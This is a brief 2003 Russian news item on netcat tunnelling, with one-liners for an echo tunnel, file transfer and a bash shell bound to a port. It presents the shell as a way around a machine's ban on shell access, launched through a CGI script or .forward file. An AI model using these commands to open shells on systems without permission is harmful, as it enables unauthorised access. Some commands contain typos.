Практические примеры использования утилиты netcat.

15.06.2003 10:09

Статье "Netcat and Reverse Telnet" иллюстрирует как с помощью утилиты netcat (nc) осуществить создание простейшего туннеля, например, для организации работы в shell, на машине явно не допускающей такое действие.

 Простейший echo-туннель:  Серверный процесс: nc -l -p 5600  Клиент: nc 10.0.1.1 5600  netcat для пересылки файла:  Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back  Клиент: nc -v -w 2 10.0.1.1 5600 < filename  Работа в shell через туннель  Сервер: nc -l -p 5600 -e /bin/bash  Клиент: nc 10.0.1.1. 5600 Серверный код можно запустить, например, через cgi-скрипт или .forward файл.